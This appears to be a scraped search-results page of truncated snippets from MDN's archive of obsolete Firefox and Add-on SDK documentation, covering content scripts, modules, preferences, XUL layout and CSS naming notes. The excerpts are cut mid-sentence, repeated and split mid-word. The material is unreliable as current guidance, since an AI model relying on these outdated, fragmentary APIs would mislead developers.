</fecomponenttransfer> </filter> <filter id="linear" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="linear" slope="0.5" intercept="0"></fefuncr> <fefuncg type="linear" slope="0.5" intercept="0.25"></fefuncg> <fefuncb type="linear" slope="0.5" intercept="0.5"></fefuncb> </fecomponenttransfer> </filter> <filter id="ga
mma" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="ga
mma" amplitude="4" exponent="7" offset="0"></fefuncr> <fefuncg type="ga
mma" amplitude="4" exponent="4" offset="0"></fefuncg> <fefuncb type="ga
mma" amplitude="4" exponent="1" offset="0"></fefuncb> </fecomponenttransfer> </filter> </defs> <g font-weight="bold"> <text x="0...
... working draft specified that missing transfer function element...
... working draft specified that missing transfer function elements are treated like they were specified with their type attributes set to identity. ...
...And 2 more matches
Interacting with page scripts - Archive of obsolete content
an switch firefox back to the old behavior in which content scripts could expose objects and functions to page scripts using unsafewindow. to do this, add an option called “unsafe-content-script” under the “permissions” key in package.json, and set it to true. "permissions": { "unsafe-content-script": true } this is only a temporary migration aid, and will be removed eventually. co
mmunicating with page scripts there are two different ways a content script can co
mmunicate with a page script: using the dom postmessage() api using custom dom events using the dom postmessage api note that before firefox 31 code in content scripts can't use window to access postmessage() and addeventlistener() and instead must use document.defaultview. see the section below on using postm...
... content script to page script suppose we have a page called "listen.html" hosted at "my-domain.org", and we want to send messages from the add-on to a script embedded in that page. ...
... finally, "listen.html" uses window.addeventlistener() to listen for messages from the content script: <!doctype html> <html> <head></head> <body> <script> window.addeventlistener('message', function(event) { window.alert(event.data); // message from content script }, false); </script> </body> </html> page script to content script s...
... content script to page script from firefox 30 onwards, the execution environment for content scripts has changed, so content scripts can't directly share objects with page scripts. this affects the use of custom events to send messages from content scripts to page scripts. before firefox 30 here's an example showing how to use custom dom even...
Modules - Archive of obsolete content
this is made possible by the use of sandboxes. each sandbox lives in its own compartment. a compartment is a separate memory space. each compartment has a set of privileges that determines what scripts running in that compartment can and cannot do. we will show how sandboxes and compartments can be used to improve security in our module system. the module system used by the sdk is based on the co
mmonjs specification: it is implemented using a loader object, which handles all the bookkeeping related to module loading, such as resolving and caching urls. we show how to create your own custom loaders, using the loader constructor provided by the sdk. the sdk uses its own internal loader, known as cuddlefish. all modules within the sdk are loaded using cuddlefish by default. like any other cust...
...the require function has some extra features not provided by loadscript: it solves the probl...
... { components: components }); // index.js has chrome privileges components.utils; // => [object nsxpccomponents_utils] // a.js: // a.js has content privileges imports.components.utils; // => undefined modules in the add-on sdk the module system used by the sdk is based on what we learned so far: it follows the co
mmonjs specification, which attempts to define a standardized module api. a co
mmonjs module defines three global variables: require, which is a function that behaves like loadscript in our examples, exports, which behaves like the exports object, and module, which is an object representing the module itself. the require function has some extra features not provided by loadscript: it solves the problem of resolving relative urls (which we have left unresolved), and provides a ...
...odule “toolkit/loader”: const { loader } = require('toolkit/loader') the loader constructor allows you to create your own custom loader objects. it takes a single argument, which is a named options object. for instance, the option paths is used to specify a list of paths to be used by the loader to resolve relative urls: let loader = loader({ paths: ["./": "http://www.foo.com/"] }); co
mmonjs also defines the notion of a main module. the main module is always the first to be loaded, and differs from ordinary modules in two respects. firstly, since they do not have a requiring module. instead, the main module is loaded using a special function, called main: const { loader, main } = require('toolkit/loader'); let loader = loader({ paths: ["./": "http://www.foo.com/"] }); main...
Private Properties - Archive of obsolete content
a private property is a property that is only accessible to member functions of instances of the same class. unlike other languages, javascript does not have native support for private properties. people have come up with several ways to emulate private properties using existing language features. this article discusses two co
mmon techniques: one using prefixes, the other closures. both approaches have drawbacks, they are either not restrictive enough or too restrictive, respectively. a better alternative is to use weakmap objects, which solve both these problems. however, note that weakmaps might not be supported by all implementations yet. also shown here is how to generalize the idea of using weakmaps, from associating one or more private properties with an object, to associating one or...
...t. a namespace is simply an object on which one or more private properties are defined. the sdk uses namespaces internally to implement private properties. the final section explains how to work with the particular namespace implementation used by the sdk. it is possible to read this section on its own, but to fully appreciate how namespaces work, and the problem they set out to solve, it is reco
mmended to read the entire article. using prefixes a co
mmon technique to implement private properties is to prefix each private property name with an underscore. consider the following example: function point(x, y) { this._x = x; this._y = y; } the properties _x and _y are intended to be private, and should only be accessed by member functions. to make a private property readable/writa...
...le. using prefixes a co
mmon technique to implement private properties is to prefix each private property name with an underscore. consider the following example: function point(x, y) { this._x = x; this._y = y; } the properties _x and _y are intended to be private, and should only be accessed by member functions. to make a private property readable/writable from any function, it's co
mmon to define getter/setter functions for the property, respectively: point.prototype.getx = function () { return this._x; }; point.prototype.setx = function (x) { this._x = x; }; point.prototype.gety = function () { return this._y; }; point.prototype.sety = function (y) { this._y = y; }; the above technique is simple and clearly expresses intent. however, the use of an unders...
...gety = function () { return this._y; }; point.prototype.sety = function (y) { this._y = y; }; the above technique is simple and clearly expresses intent. however, the use of an underscore prefix is just a coding convention and is not enforced by the language: there is nothing to prevent a user from directly accessing a property that is supposed to be private. ...
context-menu - Archive of obsolete content
pagecontext() the page context. selectioncontext() this context occurs when the menu is invoked on a page in which the user has made a selection. selectorcontext(selector) this context occurs when the menu is invoked on a node that either matches selector, a css selector, or has an ancestor that matches. selector may include multiple selectors separated by co
mmas, e.g., "a[href], img". urlcontext(matchpattern) this context occurs when the menu is invoked on pages with particular urls. matchpattern is a match pattern string or an array of match pattern strings. when matchpattern is an array, the context occurs when the menu is invoked on a page whose url matches any of the patterns. these are the same match pattern strings that you use with ...
...the menu item's "message" event listener will be called with t...
... ' console.log("you clicked " + data);' + '});', items: [ cm.item({ label: "item 1", data: "item1" }), cm.item({ label: "item 2", data: "item2" }), cm.item({ label: "item 3", data: "item3" }) ] }); co
mmunicating with the add-on often you will need to collect some kind of information in the click listener and perform an action unrelated to content. to co
mmunicate to the menu item associated with the content script, the content script can call the postmessage function attached to the global self object, passing it some json-able data. the menu item's "message" event listener will be called with that data. var cm = require("sdk/context-menu"); cm.item({ label: "edit image", context: cm.selectorcontext("img"), contentscript: 'self.on("click", f...
... it is easy to find out which menu items are constructed by the addon-sdk module because they have the class addon-context-menu-item. the difficult part it to identify those that belong to your extension. one way to achieve this it to utilize the data attribute of item class constructor, whic...
system/child_process - Archive of obsolete content
de.js child_process api, it's not documented separately here. however, there are a few differences to be aware of: you need to require() the module using require("sdk/system/child_process") fork() is not supported gid and uid are not supported in node.js, spawn() and exec() inherit the environment variables from the parent process, by default. the sdk versions don't: so when you specify a co
mmand you must pass in a complete path to the co
mmand or use the env option to set up the child process environment. child.stdin has no write() method (see example below for writing to child process stdin) examples adaption of node's documentation for spawn(): var child_process = require("sdk/system/child_process"); var ls = child_process.spawn('/bin/ls', ['-lh', '/usr']); ls.stdout.on('data'...
...ause the sdk implementation does not include a write() method for child processes, you must use the "raw" emit event. ...
...clude a write() method for child processes, you must use the "raw" emit event. ...
...s, you must use the "raw" emit event. ...
Low-Level APIs - Archive of obsolete content
ou need to, but should be aware that the cost of privileged access is the need to take more elaborate security precautions. in many cases these modules have simpler, more restricted analogs among the "high-level apis" (for example, windows or request). these modules are still in active development, and we expect to make incompatible changes to them in future releases. /loader create co
mmonjs module loaders. chrome the chrome module gives an add-on sdk add-on access to the components object, which in turn gives it access to a large set of privileged low-level firefox apis. console/plain-text constructor for a console instance. console/traceback functionality similar to python's traceback module. content/content re-exports three objects from three other modules: loader, wor...
...tent/worker used in the internal implementation of sdk modules which use content scripts to interact with web content. core/heritage helper functions for inheritance. core/namespace provides an api for creating namespaces for objects, which effectively may be used for creating fields that are not part of objects public api. core/promise implementation of promises to make asynchronous progra
mming easier. dev/panel enables you to extend the firefox developer tools. event/core the event/core module allows the creation of apis to broadcast and subscribe to events. event/target create objects that broadcast events. frame/hidden-frame creates firefox frames (i.e. xul <iframe> elements) that are not displayed to the user. frame/utils provides helper functions for working with platf...
... favicons. places/history access the user's browsing history. platform/xpcom implement xpcom objects, factories, and services. preferences/event-target listen to changes to the preferences system in firefox. preferences/service access the preferences system in firefox. remote/child enables an sdk module loaded into a child process to access web content in the child process and co
mmunicate with modules in the main process. remote/parent enables you to load modules, and privileged parts of your add-on in general, into child processes. stylesheet/style modify styles using stylesheet files or css rules. stylesheet/utils helper functions for working with stylesheets. system/child_process an implementation of the node.js child_process api. system/environment access, set...
... observer service. system/runtime access to information about firefox's runtime environment. system/unload register callbacks that are called when a module is unloaded. system/xul-app information about the application on which your add-on is running. tabs/utils functions for working with xul tabs and the xul tabbrowser object. test/assert implements the assert interface defined in the co
mmonjs unit testing specification version 1.1. test/harness test harness setup and execution. test/httpd an http server for the mozilla platform, which can be used in unit tests. test/runner sets up unit tests. test/utils helper methods used in the co
mmonjs unit testing suite. ui/button/action add a button to the firefox user interface. ui/button/toggle add a toggle button to the firefox...
cfx to jpm - Archive of obsolete content
the current tool is called jpm, and is based on node.js. it replaces the old cfx tool. you can use jpm from firefox 38 onwards. this article highlights the main differences between cfx and jpm. a guide to working with jpm if you're already familiar with cfx. installation cfx is python-based and is distributed as a zip file. jpm is node-js-based and is distributed through npm. so for jpm you don't need python, but you do need npm. to get new updates of cfx you download and extract a new zip file, while to get the new version of jpm, use npm update. for jpm installation instructions, see the installation section in the jpm reference. ...
... and is distributed through npm. so for jpm you don't need python, but you do need npm. to get new updates of cfx you download and extract a new zip file, while to get the new version of jpm, use npm update. for jpm installation instructions, see the installation section in the jpm reference. activation you need to call cfx activate before you can use cfx, and this only works in the current co
mmand shell: if you open a new shell you have to call activate again. with jpm, you don't need to activate. once it's installed, you can just use it. add-on incompatibilities in most respects, add-ons created with cfx will work fine with jpm. however, there are a few differences you have to know about. add-on id the add-on id is a unique identifier for your add-on. in a built xpi, it's the id f...
...tory tree, then requiring them. see the tutorial on using third-party modules with jpm. mobile development jpm does not support the "--force-mobile" option, instead you will need to define engines in package.json and add "fennec" there. there is a known bug in simple options handling which may require the workaround described in https://bug635044.bugzilla.mozilla.org/show_bug.cgi?id=1243467 co
mmands and co
mmand options permanently removed co
mmands jpm has dropped support for all the "internal" cfx co
mmands. permanently removed options jpm has dropped support for: --extra-packages --use-config --package-path --pkgdir --no-strip-xpi --harness-option --manifest-overload --output-file --templatedir --keydir --profiledir --overload-modules --static-args --app --no-run --addons --e10s --l...
...ile --templatedir --keydir --profiledir --overload-modules --static-args --app --no-run --addons --e10s --logfile --dependencies --force-mobile --test-runner-pkg instead of --profiledir and --overload-modules, use --profile and --overload. instead of using --force-mobile, explicitly add fennec to engines section of your package.json. package.json fields many package.json fields are implicit co
mmands to cfx. in jpm, we've removed support for some of these fields, and are still working on supporting some others. permanently removed fields data fullname - use title instead lib packages tests icon64 package.json escaping where with cfx you might have had to escape with 2 upto 3 backslashes ( \ ), jpm only needs one now. ...
StringView - Archive of obsolete content
ings (i.e., an array of character codes — an arraybufferview in javascript) based upon the javascript arraybuffer interface to create a highly extensible library that anyone can extend by adding methods to the object stringview.prototype to create a collection of methods for such string-like objects (since now: stringviews) which work strictly on arrays of numbers rather than on creating new i
mmutable javascript strings to work with unicode encodings other than javascript's default utf-16 domstrings introduction as web applications become more and more powerful, adding features such as audio and video manipulation, access to raw data using websockets, and so forth, it has become clear that there are times when it would be helpful for javascript code to be able to quickly and easily m...
... nuint6 + 71 : nuint6 < 62 ? nuint6 - 4 : nuint6 === 62 ? 43 : nuint6 === 63 ? ...
...aaaaasaaaasaaaaaaaaaaaaaaaaaaaaaaaaabaaaaasaaaaaaaaaaaaaaaaaaaaaaaaaciaaaagaaaaaaaaaaaaaaaaaaaaaaaaaabsawjjlnnvljyachv0cwbfx2xpymnfc3rhcnrfbwfpbgbfx2dtb25fc3rhcnrfxwbhtelcq18yljiunqaaaaacaaiaaaaaaaeaaqabaaaaeaaaaaaaaab1gmkjaaacadeaaaaaaaaayahgaaaaaaagaaaaawaaaaaaaaaaaaaa6ahgaaaaaaahaaaaaqaaaaaaaaaaaaaa8ahgaaaaaaahaaaaagaaaaaaaaaaaaaa+ahgaaaaaaahaaaaawaaaaaaaaaaaaaasipsceilbrufiabihcb0behdaaaasipec
mmaaaaaaaaaaaaaaaaaap81agugap8lbaugaa8fqad/jqifiaboaaaaaong/////yx6bcaaaaeaaadp0p////8l8gqgaggcaaaa6cd///8x7umj0v5iiejig+twufrjx8cqbuaasmfbiavaaejhxwafqadot/////rmka8fqac4fwlgafvilrajyabig/gosinldwjdw7gaaaaasixadprdvxajyad/4a8fgaaaaac4ealgafvilrajyabiwfgdsinlsincsmhqp0gb0ejr+hucxco6aaaaaeif0nt0xuijxr8qcwaa/+iph4aaaaaagd1zbcaaahurvuij5eh+////xcyfrgqgaahzww8fqabigz0yaiaaahqeuaaaaabihcb0ffw/8azgaeij5f/...
...llo world!"; you should do something like this: var mybuffer = new stringview(1024); /* mybuffer: 12 character followed by 1012 nulls... */ var mycontent = new stringview("hello world!"); mybuffer.rawdata.set(mycontent.rawdata, mycontent.rawdata.length); stringview is a constructor and a collection of methods whose aim is to work strictly on arrays of numbers, rather than on creating new i
mmutable javascript strings. keep it in mind when you try to extend its prototype. since stringview, unlike c strings, has a length property, there is no reason to add a null codepoint ('\0') after the termination of a string. stringview has been proposed as strawman for es2015 on ecmascript bugs. everyone can participate in the discussion at bug 1557 or at esdiscuss. ...
Extension Etiquette - Archive of obsolete content
sumes that you are already familiar with building an extension. user interface tools menu items using the tool menu option gives the author the maximum amount of choices. whether the extensions should go at the top, bottom, or somewhere in between on the tools menu, the author always has a choice. ideally, the location would be below the add-ons item, grouped with the other extension-related co
mmands (menuitem:insertafter="javascriptconsole,devtoolsseparator"). sub-menus should be used for single extensions needing multiple menu items, and a tools menu item should not be created for options and preferences (for options and preferences, see the add-on manager). if possible, create a menu item in the menu where it is most applicable; for instance, a bookmark sharing extension should be call...
... expando properties of shared objects, such as document objects, or dom nodes. ids and class names in html and xul documents, when extensions add elements to web pages or browser windows. chrome: or resource: packages, which are often defined in chrome.manifest files. about: page urls. xpcom contract ids, which are often registered in chrome.manifest files. ...
...expando properties are best avoided using tools such as weakmaps. prefix names in shared namespaces when shared namespaces can't be avoided, the simplest solution to prevent conflicts is to use a distinct prefix for all of your names. ...
...me that the author controls, e.g., "@example.com/foo/bar;1" it is important that the prefix that you use be unlikely to conflict with other code, and that it be indicative of the name of your add-on. generic prefixes such as myextension-, or short prefixes such as ffx-, are likely to be used elsewhere, and therefore unsuitable to the purpose. call .noconflict(true) where applicable many co
mmon libraries which create global variables provide a method called noconflict, or similar, which revert any global variables they've declared, and return the object itself. for instance, calling jquery.noconflict(true) will remove the window.jquery and window.$ variables, and return the jquery object itself, for future use by the caller. when available, these methods should always be used to pre...
Adding sidebars - Archive of obsolete content
that. all you need is to overlay the view sidebar menu. <menupopup id="viewsidebarmenu"> <menuitem id="xulschoolhello-sidebar" label="&xulschoolhello.sidebar.title;" accesskey="&xulschoolhello.sidebar.accesskey;" type="checkbox" autocheck="false" group="sidebar" sidebarurl="chrome://xulschoolhello/content/sidebar.xul" sidebartitle="&xulschoolhello.sidebar.title;" onco
mmand="togglesidebar('xulschoolhello-sidebar');" /> </menupopup> the example in the mdc page includes a shortcut key combination to toggle the new sidebar. keyboard shortcuts are an essential feature of firefox, and you can add your own into your extensions, which is also great. the problem is that choosing the right keyboard shortcuts is very, very hard, as explained by the creator of adblock pl...
...fault. <deck selectedindex="2"> <hbox> <!-- content for the first child. --> </hbox> <hbox> <!-- content for the second child. --> </hbox> </deck> note how this is one of the few cases where an attribute of an element is named using camel case instead of all small caps. the size of the deck depends on the size of the largest child node, just like in a tabbox. we reco
mmend that you use hbox or vbox elements as children of a deck or stack. the code is easier to read and maintain this way. a deck can be very useful when you have a large piece of xul code that only changes in a small way depending on different circumstances. for instance, you could have a window that is used for two different purposes, and the only difference between the two cases is a label tha...
...ext. the alternative is to use a deck with the two labels, and change the selected index depending on the purpose of the window. this way you can still use dtd, and the code remains simple. a stack is like a deck, except that all of its children are always on display, one of top of the other. it allows you to decompose complex ui into individual layers, broadening the layout possibilities. one co
mmon use for a stack is to have an image background that stretches horizontally and vertically depending on the size of the foreground object: <stack> <hbox flex="1"> <image src="chrome://xulschoolhello/skin/stack-bg.png" flex="1" /> </hbox> <hbox> <!-- some content here. --> </hbox> </stack> this workaround is necessary because you can't have an background image stretch using ...
...ack is to have an image background that stretches horizontally and vertically depending on the size of the foreground object: <stack> <hbox flex="1"> <image src="chrome://xulschoolhello/skin/stack-bg.png" flex="1" /> </hbox> <hbox> <!-- some content here. --> </hbox> </stack> this workaround is necessary because you can't have an background image stretch using css. a less co
mmon use for the stack element is to use the left and top attributes on its children in order to have absolute positioning for the content on the layers. this kind of positioning can be useful for various artistic effects, as well as some type of desktop-like or dashboard-like interface, where items are located in positions determined by the user, and they can overlap with each other. this can becom...
Handling Preferences - Archive of obsolete content
ckfile settings: these preferences are stored in a file that usually has the name mozilla.cfg or netscape.cfg. the file may be located on a network. it is intended to be used by an administrator or isp to set settings centrally. in addition, certain preferences may be locked such that users cannot change them. locked preferences are disabled in the preferences window. firefox exposes its most co
mmon high-level preferences through the preferences window and other parts of its ui. in reality there are thousands of other preferences firefox handles that are not readily available to the user. these are hidden because they are too advanced or obscure for regular users to manage, and because the preferences window should be as easy to use as possible. to access all other preferences, enter "abou...
...e needs are more complicated than this, you'll need more advanced apis that will be discussed in a section further ahead. to add preferences to your extension you should first create a js preferences file that describes the preferences and their default values, although setting defaults is not required. as mentioned earlier, a preference with no default value can be set later on. note: we reco
mmend that you include all of your extension preferences in the js defaults file. it makes it easier to compile a list of the preferences your extensions handle, and to document what they do. the preferences file you need to create should be defaults/preferences/yourextensionname.js, under your extension root. the naming of the js file is not compulsory, but it is the standard most extensions use...
...ate the observer method: observe : function(asubject, atopic, adata) { if ("nspref:changed" == atopic) { let newvalue = asubject.getintpref(adata); // do something. } }, always remember to remove the observer when you don't need it anymore: this._prefservice.queryinterface(ci.nsiprefbranch2); this._prefservice.removeobserver(prefname, this); preference windows it's very co
mmon for extensions to have a few settings that their users can change to tailor them to their needs. since there are some subtleties related to preference management, there are some facilities provided in xul and firefox that make this much easier to deal with. the standard way of opening a preferences window is to open the add-ons manager, select the add-on, and then click on the preferences butt...
...d-ons manager. it does 2 things: check if the preferences window is already open. in that case, just give it focus. make the window modal in systems where the instant apply rule is not used. notice that this is a preference that users can switch, so checking for the operating system is not good enough. the general philosophy in non-windows systems is that a change in a preference applies i
mmediately. preference windows don't have any buttons, or just an ok or close button. on windows, changing preferences don't apply until the user click on the ok button. the user can click on the cancel button and none of the changes performed in the window will apply. this is why it makes sense to have preference windows be modal on windows. this way the user is urged to apply or discard any change...
Underscores in class and ID Names - Archive of obsolete content
note: browser support for underscores in css has greatly improved since this article was originally published in 2001 and the following reco
mmendation is no longer accurate for most circumstances. su
mmary: the use of the underscore character in css can lead to major display problems in multiple browsers. learn why this is so, and how to keep your sites from being bitten by this problem. this technical note examines the use of underscores in css, and why they should be generally avoided in most circumstances. it is a fairly co
mmon practice in many progra
mming languages to use the underscore character (_) in the place of a "space" in variable and function names. for example, a function whose job is to "get the length of a string" might be called get_string_length, and a variable re...
...eously allowed underscores, and so were both non-conformant on this point until the errata was published. the same is true of ie4.x and 5.x for macintosh. internet explorer 6 for windows, published after the errata, permits underscores and escaped underscores. opera 3.x through 5.x does not recognize underscores or escaped underscores, and so acts the same as navigator 4.x in this regard. ...
...ndows, published after the errata, permits underscores and escaped underscores. opera 3.x through 5.x does not recognize underscores or escaped underscores, and so acts the same as navigator 4.x in this regard. reco
mmendation because support is so inconsistent between current browsers as well as older releases, authors are strongly advised to avoid using underscores in class and id names. a co
mmon substitute is the hyphen character (-), as in: p.urgent-note {color: maroon;} many authors choose instead to use camel case names such as this: p.urgentnote {color: maroon;} if the initial-cap approach is used, however, remember that class and id names are also supposed to be case-sensitive. see the tech note "case sensitivity in class and id names" for more details. original document inf...
...all rights reserved. note: this reprinted article was originally part of the devedge site. ...
Case Sensitivity in class and id Names - Archive of obsolete content
su
mmary: although css is itself case-insensitive, class and id names are defined to be case-sensitive in html 4.01. find out how this wrinkle can affect your site design and best practices to avoid any problems. in the authoring of both css and javascript/dom (otherwise known as dhtml) routines, it is a near-certainty that class and id names will be used to identify elements. we have discovered, however, that many authors are running into trouble with class and id names because they're used to the bugs of browsers that don't fully support open standards. the most co
mmon case is where the name uses different case in the document source than is found in the css or javascript. for example, there might be this css: p.warning {color: red; background: yellow;} ...coupled with this html: ...
... element. this name must be unique in a document. class = cdata-list [cs] this attribute assigns a class name or set of class names to an element. any number of elements may be assigned the same class name or names. multiple class names must be separated by white space characters. the marker "[cs]" means "case sensitive," as defined in section 6.1 of the specification. thus, the mozilla team, co
mmitted to following open standards as closely as possible, implemented both class and id names as case-sensitive values. as of this writing, netscape 6 is the only browser to honor this defined behavior; other browsers treat both class and id names as case-insensitive. id uniqueness there is a further restriction, however, on the use of id names. section 12.2.1 makes it illegal for the name and ...
...t to uniqueness since the two names are the same except for case." <p><a name="xxx">...</a> <p><a name="xxx">...</a> we could freely substitute id for name and the point would be the same, since name and id share the same name space (see section 12.2.3). thus, even though class and id values are defined to be case-sensitive, there is an aspect of case-insensitivity to the use of id values. reco
mmendation because of the flaws which are present in some existing implementations and the restrictions defined in html 4.01, it is doubly important to ensure that your class and id names are of a consistent case throughout a document, and that you do not attempt to define names which are case-insensitive matches. related links html 4.01, section 7.5.2 html 4.01, section 12.2.3 original doc...
... note: this reprinted article was originally part of the devedge site. ...
Getting Started - Archive of obsolete content
lassic there are a number of different directories which contain the skin information for the default packages that come with mozilla. the most important directory is \global. the default widgets are defined here, and anything that is modified will change throughout mozilla. if you want to modify how checkboxes, radio buttons, and scrollbars appear, this is the place. the next directory is the \co
mmunicator directory. this is a catchall directory which holds all of the images and styles for portions of mozilla that don't merit their own individual directory. you'll be able to change the bookmark manager and the profile migration window here. the three remaining directories are pretty self-explanatory. they contain the images/styles for the browser, email client, or html editor. css files the...
...which components of the browser suit that you are modifying. if we also had skins for chatzilla, we would have to add another line resembling the other ones and change it to point to chatzilla. but this list includes everything that we changed, so just modify the blue text to point to match the name/version that you used in the sections before this. <rdf:li resource="urn:mozilla:skin:myskin/1.0:co
mmunicator"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:editor"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:global"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:messenger"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:navigator"/> finally, in the last section of the contents.rdf file we need to tell mozilla what version this skin is compliant with. this version is set to 1.0, so this s...
... to match the version of mozilla that you want it to work on. if you have the wrong number here, after you install the skin and select it in the list, it will give you a message saying that it's out of date. if that happens, just come back to this step and change the number to whatever version of mozilla you are using. ...
...view.png files. select them all and zip them up, making sure to include the paths (do not include the \myskin directory inside of the zip, just the files inside of \myskin). once the zip is created, rename it to myskin.jar contents of myskin.jar contents.rdf preview.png \navigator\... \messenger\... \global\... \editor\... \co
mmunicator\... triggering the install from the web to install your jar file directly from the web, you need to run some javascript. <a href="javascript:installtrigger.installchrome(installtrigger.skin, 'myskin.jar', 'my skin theme')">install my skin</a> if you have jar files on your hard drive and would like to install them, then download/use this form. ...
Block and Line Layout Cheat Sheet - Archive of obsolete content
no_auto_margins ns_block_margin_root indicates that this is a frame from which child margins can be calculated. the absence of this flag implies that child margin calculations should ignore the frame and look further up the parent chain. used in nsblockreflowcontext::computecollapsedtopmargin(). this flag causes the nsblockreflowstate's constructor to set the brs_istopmarginroot and brs_isbotto
mmarginroot flags. this is set by default for document, table cell inner, and absolutely positioned wrapper frames. ns_block_space_mgr this indicates that a block frame should create its own space manager. this is required by each block frame that can contain floaters: the space manager is used to reserve space for the floated frames. this is set by default for document frames, area frames, table ...
...t mcomputedmargin mcomputedborderpadding mcomputedpadding mcomputedoffsets mcomputedminwidth mcomputedmaxwidth mcomputedminheight mcomputedmaxheight given the current container frame and the style applied to the child, these values are the resolved values for the child frame's box. nshtmlreflowmetrics the structure that is "filled in" by a frame during reflow, and is used to co
mmunicate the frame's desired size information back to its container.
mmaximumwidth the maximum width that the frame would consume if it were reflowed with an unconstrained available width. it might be better named "preferred width". this is computed when the nsblockreflowstate flag brs_computemaxwidth is set. maxelementwidth the maximum width for elements within the frame that cannot be broke...
...white-space" style of the block frame is pre or nowrap. it is cleared, otherwise. brs_istopmarginroot this flag is set in the nsblockreflowstate constructor when reflowing a "block margin root" frame (i.e., a frame with the ns_block_margin_root flag set, for which margins apply by default). the flag is also set when reflowing a frame whose computed top border padding is zero. (why?) brs_isbotto
mmarginroot this flag is set in the nsblockreflowstate constructor when reflowing a "block margin root" frame (i.e., a frame with the ns_block_margin_root flag set, for which margins apply by default). the flag is also set when reflowing a frame whose computed bottom border padding is zero. (why?) brs_applytopmargin this flag is set if the top margin should be considered when placing a linebox th...
...l if this is the root span. mframe is initialized to the containing inline frame's perframedata when a new perspandata is pushed in nslinelayout::beginspan. original document information author(s): chris waterson last updated date: december 4, 2004 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details. ...
Document Loading - From Load Start to Finding a Handler - Archive of obsolete content
nto). most often, the one we find is nsdsuricontentlistener, which corresponds to a docshell and handles most of the data types that mozilla handles internally. nsiexternalhelperappservice if we can't do anything else with a load, we give it to the nsiexternalhelperappservice and let it look for a helper app, put up the "what do i do now?" dialog, and so forth. ...
...one we find is nsdsuricontentlistener, which corresponds to a docshell and handles most of the data types that mozilla handles internally. nsiexternalhelperappservice if we can't do anything else with a load, we give it to the nsiexternalhelperappservice and let it look for a helper app, put up the "what do i do now?" dialog, and so forth. ...
...t post data, load flags, cache key, referrer, etc. it then passes the channel to dochannelload, which does some more flag massaging and then calls into the uriloader. nsuriloader::openuri gets a channel to open, a boolean indicating whether this load is the result of a link click, and an nsisupports "window context" (the docshell triggering the load, actually, but in drag and heavy makeup). it i
mmediately hands off to nsuriloader::openchannel. nsuriloader::openchannel notifies the nsiuricontentlistener hanging off the window context, if any, of the start of the load; this gives embedders a chance to abort the load if this uri type is something they want to handle in the embedding app. if the load is not aborted, we create an nsdocumentopeninfo object for this load, passing it the "this i...
... ...
Repackaging Firefox - Archive of obsolete content
e an extension (for that, try this section of the mozilla developer center), here is a basic tutorial to get you started, and some tips specific for creating a dex. if you already have an extension that you want to bundle with firefox, and don't want to bundle an extra extension solely to set a few defaults, you can do everything you need to do in your existing extension. however, it's still reco
mmended that you look through this tutorial, as it contains tips specific for creating extensions of this type, and there are a few options that you will need to set to ensure a smooth upgrade path for users. at the very least, don't skip the "important extension preferences" section below. sample dex the best way to get started is probably to look at a simple dex and modify it for your own purpos...
...references" for more information. partner-bookmarks.xml default bookmarks are set here. and that's all you need! take a moment and browse through the files, and don't forget to check mdc for reference material. locales there is a difference between the locales you plan to distribute installers for (and will therefore need to repack), and the locales supported by your dex. if possible, we reco
mmend you have your dex support the full set of locales that firefox supports. the reason is that if you create and ship a dex that supports 2 locales (for example), and later decide to ship on a 3rd locale, you will need to re-create the dex to support it. that means that you will need to change the version of the dex, and that will cause any users with the earlier version to get unnecessarily upg...
...at means that you will need to change the version of the dex, and that will cause any users with the earlier version to get unnecessarily upgraded. on the other hand, if you create a dex which supports all locales, you can only ship on a few, and later expand your set without any upgrade hassles. of course, this strategy only works when your strings either do not need localization, or are progra
mmatically localizable (for example, simply adding the locale to a url, like http://<locale>.example.com/). but it's something to keep in mind when planning your locale support. preferences preferences are one of the two main things you will want to set in your extension (the other is bookmarks). there are two kinds of preferences in firefox, both set in the partner.js file: localizable prefere...
...need here. note that the app.partner.'name' setting uses the same value for both the name and the value of the preference. all of these settings are non-localizable, so they are set directly in partner.js and do not need to be in the properties file. mozilla.partner.id=<name> app.partner.<name>=<name> app.distributor=<name> app.distributor.channel=<name> other preferences some settings are co
mmonly set in partner distributions. this is not meant to be a comprehensive list of preferences, however. if you find a preference you think is generally useful to most partner repacks, please add it below, using the same style: localizable preferences browser.startup.homepage=<string> browser.startup.homepage_reset=<string> url for the default homepage, and what the homepage gets reset to when...
JavaScript Client API - Archive of obsolete content
components, including 3rd party extensions, to supplement the set of engines and synchronize their own data. a word of warning: the javascript client api is still a young component and is continuing to evolve. therefore, developers outside of the sync core should know that their code could require significant refactoring in future releases. before developing against the javascript api, it is reco
mmended to speak to developers of the api. see https://wiki.mozilla.org/services/sync for their contact information. to create a custom sync engine to synchronize a new data you, you'll need to define an engine object that extends the base syncengine object. this involves writing types that extend the store, tracker, and record types as well. it will be very helpful to look at an existing sync eng...
...a unique id (unique among all records in the store) called guid. depending of what type of data you're working with, you might already have guids built into your data that you can make use of (note that guids must be allowed to change and should be url friendly). if not, you may have to invent your own mapping from data objects to guids as long as it's consistent. ...
...score the '''score''' is stored in this.score, a variable defined by the base tracker class. set your score by assigning a value to this.score. the score number is used by the scheduler to decide when your engine will be synced. setting it to zero means "i have no need to sync". the higher you set this number, the more urgently the scheduler treats your request. setting it to 100 means "sync me i
mmediately". it's up to you to figure out the best way to assign a score based on the current state of whatever data type you're tracking. your tracker score is automatically reset to zero after each time your engine syncs. the changed guid list the base class maintains a list of guids that need syncing. when your tracker detects that an item has changed, you should add it to this list by calling:...
....register(fooengine) function. however, "weave:service:ready" is issued after the "weave:engine:start-tracking" observer notification. if your tracker observes "weave:engine:start-tracking", it's best to have the sync service register your engine. stick your engine class on to the weave object: weave.fooengine = fooengine; and add "foo" to the services.sync.registerengines preference (it's a co
mma separated list of engine names). you can also set up a component that registers a weave:service:ready observer and at that time, imports main.js as well as your engine. also, for me, doing weave.engines.register(fooengine) worked better then doing weave.fooengine = fooengine. reason for this is, weave will iterate through the registerengines preference and try to instantiate each engine it has t...
Creating a Help Content Pack - Archive of obsolete content
